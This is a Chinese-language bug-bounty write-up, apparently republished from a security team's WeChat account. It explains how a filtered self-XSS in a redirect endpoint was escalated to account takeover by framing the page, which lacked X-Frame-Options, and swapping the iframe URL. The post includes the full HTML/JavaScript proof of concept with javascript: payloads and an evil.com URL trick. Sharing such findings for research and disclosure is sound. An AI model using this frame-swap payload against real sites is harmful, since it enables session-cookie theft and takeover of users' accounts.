前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >如何使用Self XSS导致账户接管

如何使用Self XSS导致账户接管

作者头像
Khan安全团队
发布2021-03-10 15:56:07
发布2021-03-10 15:56:07
99500
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

账户接管功能

你好,我已经很久没有分享我最近的研究/发现了,但在这篇报道中,我将分享我发现的一个漏洞,这对我来说相当有趣,可能会改变你对 "SELF XSS "的看法。

我通常,当我真的要寻找漏洞时,我会手动检查任何应用程序,如开放重定向或XSS,以找到其他黑客的非凡工具可能会忽略的参数

所以,当我通过很多不同的终端和模糊通过很多不同的参数,我没有找到任何我感兴趣的东西,因为该程序是一个4年的老程序,经过很多专业的研究人员测试,但我不知道为什么我真的想找到一个漏洞在这个目标,因为我的朋友Kartik Sharma发现了一个非常酷的存储XSS在这个目标上,这导致大规模的帐户接管ps:(拍摄他的DM和必须要求他写关于它的文章

让我们回到正题,在这个目标上来回花了很多天时间,我终于遇到了一个看起来像https://redacted.com/redirect/<url-path>的端点,这是一个简单的开放重定向,等等,甚至不是开放重定向,因为它给出了这样的警告信息

现在,出于好奇,我把端点从https://redacted.com/redirect/javascript:alert(1)改成了https://redacted.com/redirect/javascript:alert(1),然后按了继续选项,看看会发生什么,然后弹出了alert(1),如下图所示

具有挑战性的方面

但是,这里是具有挑战性的一面。为了确定,我复制了端点是https://redacted.com/redirect/javascript:alert(1),然后在不同的浏览器中打开,继续到网站的选项消失了,如下图所示

导致从这一点上看,0影响漏洞,甚至连合法的自XSS都没有。如果你不明白这种行为,让我来解释一下那些没有得到它的人,这是因为regex正在检测特殊字符,如" ' > * />,并删除继续网站选项,一旦它检测到任何特殊字符后/#redirect,这意味着我来到了像死胡同的情况。

现在,利用的部分是检查端点,即:https://redacted.com/redirect/javascript:alert(1)是否启用了X-FRAME OPTIONS,我很幸运,是的,这个端点没有启用X-FRAME OPTIONS,这意味着我可以写一个js代码,并将其托管在我的网站上,并进一步利用这个漏洞 :D 没有得到它?让我简单解释一下。

所以,我是这样做的 写了这个javascript代码,并将端点托管在我的服务器上的iframe中,由我的javascript代码控制

代码语言:javascript
代码运行次数:0
复制
html
<html>
  <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>Changing Pages... Please Wait</title>
    </head>
    <body>
        <iframe src="" name="frame" id="frame" width="100%" height="100%"></iframe>
        <script type="text/javascript">
            var frames = Array('https://redacted.com/#/redirect/https://@evil.com\\@www.redacted.com', 3,
                'https://redacted.com/#/redirect/javascript:alert(document.domain)', 37);
            var i = 0, len = frames.length;
            function ChangeSrc()
{
            document.getElementById('frame').src = frames[i++];
            if (i >= len) return; // no more changing
            setTimeout('ChangeSrc()', (frames[i++]*1000));
            }
            window.onload = ChangeSrc();
</script>
    </body>
</html>

所以基本上,这个漏洞现在会利用缺失的X-Frame-Options头,允许任何页面加载到iframe中。一旦页面被加载到iframe中,我们调用ChangeSrc()函数,将有效的URL https://redacted.com/#/redirect/https:///\/@www.redacted.com替换为一个易受攻击的URL,即https://redacted.com/#/redirect/javascript:alert(document.cookie)。由于不涉及服务器端的交互,并且URL在页面加载后被替换,当点击继续按钮时,我们可以看到XSS有效载荷与用户的cookie一起被发射(如下图所示)。

现在,这创造了一个影响的方式,这意味着当一个认证用户访问我的托管服务器,他/她的认证cookie将弹出,并将被发送到我的服务器,这意味着帐户接管redacted.com的任何用户。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档